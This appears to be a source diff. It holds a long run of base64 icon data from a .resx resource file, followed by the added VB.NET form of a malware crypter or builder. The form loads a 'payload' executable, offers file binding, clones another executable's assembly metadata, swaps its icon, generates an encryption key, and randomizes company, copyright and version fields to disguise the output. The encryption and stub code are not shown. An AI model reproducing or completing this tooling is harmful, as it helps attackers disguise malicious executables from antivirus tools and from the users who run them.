AAAAAAAAAAAAAJeYmgGRkpQekpKVIKanqwSVl5lklJeW8MTDyv7KyNP+ycfR/sfFz//Gw83+xMPM/sTD
zP/Fw8v+ycjP/tLQ1v/X1dr+2tnd/t7d4P/e3eD+3dzf/tzc3//a2dv+2dja/tvb3f/d3d7+39/g/97e
3/7c3N3+zc3R/4aIh8hucHBjh4uJkI+TktORlZXpg4aFgaKjpwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKiorQGWmZppoqWn883L1//MytX/ysjT/8XD
zf+0tLr/srK4/8TDzf/Fw8z/xcTM/8bEzP/HxMz/x8bM/8rIzf/Lys//zMvQ/9DP0v/S0dT/1NTX/9fW
2f/a2dv/3Nvd/93c3v/b29z/1dXY/4+RkcmKjIwfqqysDKWmqCqipKU4nZ6gDgAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACWmZtQjZKS17W1
vf7Ew83+ubjB/o2RkeeHjIuqhYqIxLW0uv/Fw8z+xcPM/sbDzP/Ewsn+vLzB/r+/xP/Ix83+y8vP/s3N
0f/PztL+xsbK/o6Tkuibnp/qwsPG/dnZ2/7Y2Nr+19fZ/6mrrfKWmZlrsbK0AgAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACeoaUElpmcQYiMiraXmpz1i5CP0pmcnlSkpqkNjZKRd7Cwtf/Fw83+xMPM/sPCyv+urrL+jpKS05aZ
mui5ur7+ysrO/szL0P/NzNH+paeo/oiMi3KQkpJejI+Pzbu9vv7Kys3+sbO0/5KWltOPlJNZrrCyAwAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ6hoxyRlZZLm56gMLGxtgEAAAAAj5OThbKyuP/Gw87/xsTN/7e3
vf+MkI/SoKOkRXWAf2uho6X5xsXK/8vKz//Lys//mZ2c/5KUkzi2t7gEi4yML4uPjtSSlpXohoqJjKmr
qyqusLEJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj5OScYuP
j92bnqDsp6mt+5aZmu6DhoZiq6uvAqyusByIjIu2rKyw/re4vP+0tbn+j5OS+JGWlCMAAAAAAAAAAKyv
rwmhpKIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAnaChDpianTyXm5xbl5uceoiNjXimp6oUAAAAAK+vsgOQk5JWhImHqISJhZmPlJGHm56ec6Cm
pggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqKmtAaKkpwcAAAAAAAAAAAAAAACpqq0IoqWmFKGk
pAyoqqoEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//
+A///wAA//8AAD//AAD/8AAAD/8AAP/AAAAA/wAA/4AAAAB/AAD/AAAAAD8AAPwAAAAAHwAA8AAAAAAP
AADwAAAAAAcAAOAAAAAAAwAA4AAAAAABAADAAAAAAAAAAMAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH8AAAAAAAAB/8AAAAAAAAH/wAAAAAAAAf/AAA
AAAAAA/4AAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAMAA
AAAAAAAAwAAAAAABAADgAAAAAAMAAOAAAAAAAwAA+AAAAAAHAAD4AAAAAA8AAPwAAAAADwAA/AAAAAAf
AAD/gAAAAD8AAP/AAAAB/wAA/8AAAAH/AAD/8IAAA/8AAP//gAGf/wAA//+BAf//AAD///OH//8AAP//
/////wAA////////AAD///////8AACgAAAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGhoBGBgYARcY
GAIcHBwCICEhAiIjIgIdHh4CGBgYARMUEwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAExQUARYXFwEhIiIDKywsBBUW
FgcKCwoKAAAADQAAAA0AAAAMAAAACwAAAAsJCQkKERERCR4eHgUpKikCICEgAQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJSYlASorKwMeHh4GExQUCQAA
AAwAAAARAAAAFwAAAB4AAAAiAAAAIwAAACIAAAAhAAAAIAAAAB4AAAAaAAAAEw4ODgwXGBgHGxwcBR0e
HgMfHx8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4fHwEuLy8EDAwMCQAA
ABEAAAAaAAAAIQAAACkQEBA9aGxqsXt+fct8gH/UCwsLTAAAAERdYF+iY2ZlrT1AP4MXGBg9AAAAIAAA
ABcAAAAQCQoKCh8gHwUnJycBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIyICIiMjBQ4O
DgwAAAAXEBAQL0pNTIhkZ2azDAwMViMkJHOmqKf/zs7O/6Chof9CRUSqLC4tkZqcm/7Hx8f/oKKh/zk7
OokAAABAHh8fSxAQEC4AAAAZAAAADiMjIwUlJiYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANTY1AwwM
DAgAAAAQAAAAHBcZFzmLj47us7Sz/6Ghof9zdnXiTU9Ovaqsq//Ozs7/ra2t/4mLi/uEhoX6ra2t/8zM
zP+qrKv/NDY1n0NGRaOIi4r4f4OB50FEQ3MAAAAdAAAADyYnJgYqKysCAAAAAAAAAAAAAAAAAAAAADg5
OQIPDw8IAAAAEhESESsREhJAAAAATo2PjtPU1NT/q6ur/5eXl/+JiYn/t7e3/9DQ0P+zs7P/lZWV/4+P
j/+ysrL/zMzM/7Kysv+Ii4r+i4yM/56env+IiIj/gYSD/QEBATUAAAAgAAAAEQwNDQgvMC8CAAAAAAAA
AAAAAAAAMTIxBQAAABAREhIre359zY6RkPhhZGPKhIaF2tvb2/+urq7/mJiY/42Njf/h4eP/1NHf/9zb
4P+Wlpb/j4+P/9XV1v/e3OT/3d3d/5WVlf+Pj4//nZ2d/4ODg/99gH/2DAwMWjc5OHESExMqAAAAECkp
KQYwMTEBAAAAADs8PAISExMLAAAAG2xwb63Y2dn/srKy/6qqqv++vr7/7Ozt/93c3/+fn5//jY2N/9TS
2v+ln73/v7rP/7m5uv+srK3/ycbY/6Obvv/Qztn/k5OT/5CQkP+zs7P/lJSU/4CCgf+Ljoz6lJaV/2hr
arYBAQEcDxAQCzs8PAIyMzMBISEhBwAAABMAAAApeX18zu3t7f+ysrL/ra2t/8rKy/+1scj/sq3E/9DO
1//Ew8b/wr/Q/6eivf+nobz/vbnN/7+7zv+moL7/pJ69/8jF0/+rq6v/vb2+/8nG2P/Dv9H/ubm5/6Ki
ov+dnZ3/g4WE/zc6OV4AAAASNDU1Bj0+PQMAAAAMEBERJVBSUZ2AhYPs7+/v/729vf+srKz/pqam/8bD
0f+rp77/q6e+/6yovv+rpr3/qqW8/6qlvf+ppL3/qKK8/6eivf+nob3/qKO//7e0xv+uqcX/pZ7B/7y3
0P+np6f/n5+f/5ubm/+Cg4P/Nzk4bgAAABsTExMKRkdHBAAAABA7Pjxruru6/9DQ0P/m5ev/y8jW/9DP
1f/Ix8z/u7jJ/66qv/+uqr//ram+/6unu/+hn67/mZmk/5eXof+ZmKX/np2t/6ejuv+oo73/qKK+/6Wf
vP+hnLj/vrzG/46Ojv+qqqr/uLi5/4qLi/9pbmzIHyAgTgAAAA8kJCQGAAAAE2tvbarl5eX/6Ofo/9bU
3v+0r8X/sazC/7Cswf+wrMH/sa3A/6imtf+SlJrvhIiGm4yOk1aOkJcwk5SbJJCSmjGLjZNYgoaFnpCS
mfGgnbD/oJ2x/5uWq/+hnq7/s7G6/6uotP+dmqj/vr7A/6Oko/9jZmWiAAAAEigpKQYAAAAVc3d1tejo
6P/j4+P/z8/P/8vJ1P+zr8L/sq/C/7Wxw/+foKj8X2NijIODihAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAe3yFE2draZOVlp79mZaj/5CNmv+Jh5L/hIOM/6Ohqf+/vsD/paal/3d8escAAAAULi8vBgAA
ABZ2e3m66Ojq/+Df4//U09f/wb/M/7Gtv/+0scH/oaKq/U5RUG4fHiELb252AQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAABkY20CAAAADFJWVHeVlZv+kI+V/4SCiP+OjZH/p6eo/6CgoP+mp6b/eX17zAAA
ABQzMzMGAAAAFYqOjb3IxtL/r6y9/6upuP+pprX/qqe1/7CuuP9aXVyyAAAAKwAAABFFRUkES0tPAQAA
AAAAAAAAAAAAAAAAAAAAAAAAQUFFATw8QAUAAAASAAAALF9iYbuamZ7/g4OF/4GBg/+npqn/s7K1/7i4
u/+GionLAAAAE1NUVAUAAAARiY2LwsXEx/+/vcT/paOu/6CeqP+opq//p6ir/0NGRaYAAAA9AAAAIAAA
AA8fHyAGKywtAyAhIQEdHh0BHx8fASYnJwMaGhsGAAAADwAAACAAAAA/SUxLr5+gof+Tk5b/iomO/4uJ
kP+Ni5X/nJmm/5SXl8sAAAAQcnR0AwAAAA2EiIfJtLS0/7q6uv+urbL/lpWc/6inrf+8vL3/i4+N8xcX
F2wAAAA6AAAAJAAAABYAAAAPAAAADBMTEwsAAAAMAAAADwAAABcAAAAkAAAAOxobG3CMj432sbCy/6al
q/+WlJz/nZqk/62rsv+4uLv/fYB/sQAAAAx0dXYBQEBBB5KXldG1tbj/paSo/4yKj/+Mi5D/paSo/769
vv+3t7f/gYSD7CEiInoAAABFAAAANAAAACkAAAAjAAAAIQAAACMAAAApAAAANAAAAEYlJyZ+homI77a2
tv+1tLb/s7K5/6Ogqv+tq7T/l5eX/6qqqv9XXFuORkdICAAAAACFhocEjpORsImIi/98e3z/fn1//4aG
if+dnKD/wcHC/7y8vP+vr6//kZOS/V9iYcYtLy6DBQUFVAAAAEoAAABIAAAASgYGBlQvMTCFYmVkyp+h
oP7AwMD/vLy8/8DAw/+4tr//r6y4/6+tuv+1s7//urnA/4GFg5yOjpIEAAAAAImKiwF/hIBrlpma8aKj
pP+pqav/jo2R/5aVmv/AwMP/urq6/7Kysv+oqKj/mZqa/4uNjP+FiIb6eX175nV5d998gH7nj5KR+6Sm
pf/Cw8P/zMzM/8PDw/+7urv/0dDV/7u5w/+5tsP/ubfE/7i1xf+zsb7/g4aGb4+PlAEAAAAAAAAAAI+Q
kgNhZGNBnJ6d/7e2t/+bmp//n52k/7OxuP/Kycz/srKy/6ioqP+enp7/lJSU/5iYmP+goKD/qamp/7Ky
sv+6urr/w8PD/83Nzf/MzMz/w8PD/9fW2f/NzNL/wcDK/7i2vv+cnJ/5lJaY0ZKVldiDhYcbAAAAAAAA
AAAAAAAAkZKTAYuOjlajpaf/pqWs/6alrf+sqrP/srC5/8fGzf/R0dP/q6ur/56env+UlJT/mJiY/6Cg
oP+pqan/srKy/7q6uv/Dw8P/zc3N/83Nzf/g4OH/2djc/8vK0P/GxMz/u7rC/4+PkPBDREUToKCmBJqb
oAEAAAAAAAAAAAAAAAAAAAAAj5GTFJCUlOGysbn/qqqw/6Wmqv/Avsn/xMHN/8vJ0v/c29//wsLE/5yc
nP+YmJj/oKCg/6mpqf+ysrL/urq6/8fHx//g4eH/7u7u/+Df4f/V1dj/z87T/8rJz//FxMz/ubjA/4SI
hqujo6kBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj5CRM4KGhaaUl5lqjZGQ78HAxf/JxtD/xsPO/8TC
zP/OzdT/3dzg/93d3//Z2dr/2dnb/9/e3//m5ef/6Ojp/+Pj5f/i4uL/3t7f/9TU1/+foaPloKKk9ba2
u/+Wmpvtm52gMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKiorQKVmJjmzMrV/8rI
0//Ewsv/t7e+/8TDzP/Fw8z/xsPM/8fGzP/Kyc7/zMvQ/9DP0//U1Nf/2dja/9zc3f/d3N7/1dXY/29x
cI+nqakRmpycX5SWlzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIeN
jKKtrrT/s7O6/4WKir2OkpGRubi//8XDzP/Gw8z/tra7/7y8wf/Lys//zc3R/8TEyP+IjYzJra+x+djY
2v/X1tn/m56e7qeqqwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAJaZmkqOkpJrsbK3Apqdn1e4uL//xsPN/7Kyt/+PlJOFgIeGsMXEyf/Lys//q62u/6Ci
oyiPkZE9mZ2d7I+SksGcoJ9EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmp2dOYuPj8GanZ/yjJCQzKamqQOfoaIpmJqb/aao
qv+Tl5f2nqOiEwAAAACoqqoLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKmqrgGgo6YJAAAAAAAA
AACYnJsol5uZFrCxswEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//AH//8AAP/8AAAf+AAAD/AAAAfgAAADwAAAAcAAAACAAAAAAAAAAAAA
AAAAAAAAAAAAAAAH8AAAB/AAAAPgAAAAAAAAAAAAAAAAAIAAAACAAAAAwAAAAcAAAAHgAAAD8AAAB/wA
AA/+AAA//wAAf//gBf//+Y////////////8oAAAAGAAAADAAAAABACAAAAAAAGAJAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHR4eAhMTEwMUFBQDGBkZAxgY
GAMWFhYDFxgXAhkZGQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAhIiEBGxwbAxYXFwYWFhYJBQUFDwAAABUAAAAXAAAAFQAAABUBAQETBAQEDxYXFwkkJSUEGRoaAgAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACUmJQEbGxsHBAQEEAAAABkAAAAjGxwcSVVY
V5ldYF+pBgYGQR0eHllOUU+QKy0sYQQEBCQAAAAVBgYGDRcYGAYmJyYBAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAICEgBBITEwsEBAQbNDY0aHBycb8wMjGCPD49nMLDw/+urq7/RkhIsnJ1dNvCwsL+lZeX8A8Q
D10sLi1qISMjSgEBARcTFBMIJicnAQAAAAAAAAAAAAAAAAAAAAAqKysEAgICDwYGBiQICQg9oaOj7rm5
uf+RkpL5fX5+7sbGxv+2trb/jY6N/Z2enf7Gxsb+n6Gg+F5gX8+PkJD5gYOC8jU3N3QAAAAaEhISCiYn
JwMAAAAAAAAAADIzMwIKCgoMHB0dPHV4d8dPUlGzmZqa38PDw/6dnZ3+m5ub/tnY3v7S0df+kZGR/qqq
q/7b2t/+xcXF/o2Njf6cnJz+g4OD/kFDQqMjJCRaCgoKIBMTEwkwMTEBAAAAACQkJAcAAAAaiYyLx8rK
yv+tra3+y8vM/9jX3/+2tbf+pqan/7i0yv+0r8f/urq8/sTCzP+mn8D+wsDJ/4+Pj/+3t7j+np6e/4uN
jPyWmJf+WlxcpQYGBhc0NDQEMjMzAwUFBREWFxZCmZyb4tDQ0P+vr6/+vbzA/7Crwv+5tcj+vrvJ/6yn
v/+oo73/rajA/qmkv/+moL3+ubbI/7u5w/+1r8r+vrrO/6ampv+enp7+foB/6Q4ODjEbGxsKMzQ0Bg0N
DSebnp3ky8zM/tbU3f7Hxsz+wsHG/rKuwv6tqb7+rai+/qekt/6enaz+m5uo/p6crf6mobn+qKK9/qag
vf6jnbr+s7K7/pqamv6wsLH+hIaF9jg7OnkAAAARGxwcCDAyMUzNz87+5eTl/8bE0v+xrcL+sa3B/7Gt
wP+ioq74jI6TrYiJjliOj5cpk5SdHI2OlzKEhopsjpCYyp2brP2bl6r+oJ2s/6akr/+amKT+vr6//4mL
iukTExMjICEhCTY4N1fQ0dH+4N/g/87N0v+1scT+tLHC/5iYoOlJSktQeHeAAwAAAAAAAAAAAAAAAAAA
AAAAAAAAWlpiDFRXV3+VlJz5jYyV/4WEi/+ko6j+rq6u/4yPjfIcHR01JSYmCTs9PVnFw8v+uLbE/7Gv
vf+rqLb+p6ev/DQ1NXEAAAAUUFBUAwAAAAAAAAAAAAAAAAAAAAAAAAAAMzM3BgIDAh5WWFiplJKX/4KB
g/+fnqH+sbGz/52fn/IcHh00REVFBj5AQFy3uLn+urm//qCeqP6mpK3+oaKk+x0eHnAAAAAqBgYGEBwc
HQcZGhoDHR0dAhkaGgQWFhcIAAAAFQAAADRBQ0KioqOl/o+Ok/6Mi5L+lpSf/qWlq/IfIB8yZmdoA0lM
S1+ur6/+s7K1/5SSmP+hoaX+u7q7/3t9fNwTExNiAAAAMQAAAB8AAAAXAwMDFQAAABgAAAAjAQEBOSgq
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
</value>
</data>
</root>
@@ -0,0 +1,219 @@
Imports System.CodeDom
Imports System.IO
Imports System.IO.Compression
Imports System.Linq
Imports System.Text
Public Class Index
'Browse Payload
Private Sub VsButton1_Click(sender As System.Object, e As System.EventArgs) Handles VsButton1.Click
Using ofd As New OpenFileDialog()
ofd.Filter = "Portable Executable |*.exe"
If ofd.ShowDialog() = DialogResult.OK Then
VsTextBox1.Text = ofd.FileName
End If
End Using
End Sub
'Browse BindFile
Private Sub VsButton3_Click(sender As System.Object, e As System.EventArgs) Handles VsButton3.Click
MsgBox("This Feature will be enabled Soon.", MsgBoxStyle.Information)
Exit Sub
Using ofd As New OpenFileDialog()
If ofd.ShowDialog() = DialogResult.OK Then
VsTextBox3.Text = ofd.FileName
End If
End Using
End Sub
'Clone PE
Dim ClonePE As String
Private Sub VsButton7_Click(sender As System.Object, e As System.EventArgs) Handles VsButton7.Click
Using ofd As New OpenFileDialog()
ofd.Filter = "Portable Executable |*.exe"
If ofd.ShowDialog() = DialogResult.OK Then
ClonePE = ofd.FileName
End If
End Using
End Sub
'Change Icon
Private Sub VsButton4_Click(sender As System.Object, e As System.EventArgs) Handles VsButton4.Click
Dim openIcon As New OpenFileDialog With {.DefaultExt = "ico", .Filter = "Icons|*.ico", .Title = "Select icon"}
If openIcon.ShowDialog = Windows.Forms.DialogResult.OK Then
If openIcon.FileName.Contains(" ") Then
MsgBox("Make sure there is no space in the Icon path or Icon name.", MsgBoxStyle.Exclamation)
Exit Sub
End If
VsTextBox4.Text = openIcon.FileName
Dim cusIcon As New Icon(openIcon.FileName)
PictureBox1.Image = cusIcon.ToBitmap
End If
End Sub
'Reset Assembly Info
Private Sub VsButton5_Click(sender As System.Object, e As System.EventArgs) Handles VsButton5.Click
VsTextBox9.Text = Nothing
VsTextBox8.Text = Nothing
VsTextBox7.Text = Nothing
VsTextBox6.Text = Nothing
VsTextBox5.Text = Nothing
ClonePE = Nothing
End Sub
' Encryption Key
Private Sub VsButton2_Click(sender As System.Object, e As System.EventArgs) Handles VsButton2.Click
VsTextBox2.Text = RandomVariable(22, 33)
End Sub
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Randomize_asmbly()
End Sub
Sub Randomize_asmbly()
Dim company As String = RandomVariable(6, 14) & " " & RandomVariable(3, 5)
Dim assemblyverson As String = rand.Next(1, 11) & "." & rand.Next(0, 20) & "." & rand.Next(0, 1999) & "." & rand.Next(0, 6553)
VsTextBox2.Text = RandomVariable(22, 33)
VsTextBox9.Text = assemblyverson
VsTextBox8.Text = "Copyright © " & rand.Next(2014, 2017) & " " & company
VsTextBox7.Text = company
VsTextBox6.Text = RandomVariable(6, 14)
VsTextBox5.Text = RandomVariable(6, 14)
End Sub
Private fileBytes As Byte() = Nothing
Private keyBytes As Byte() = Nothing
Private resources_Path As String = Application.StartupPath & "\2016.resources"
Private library_Name As String = Random(8)
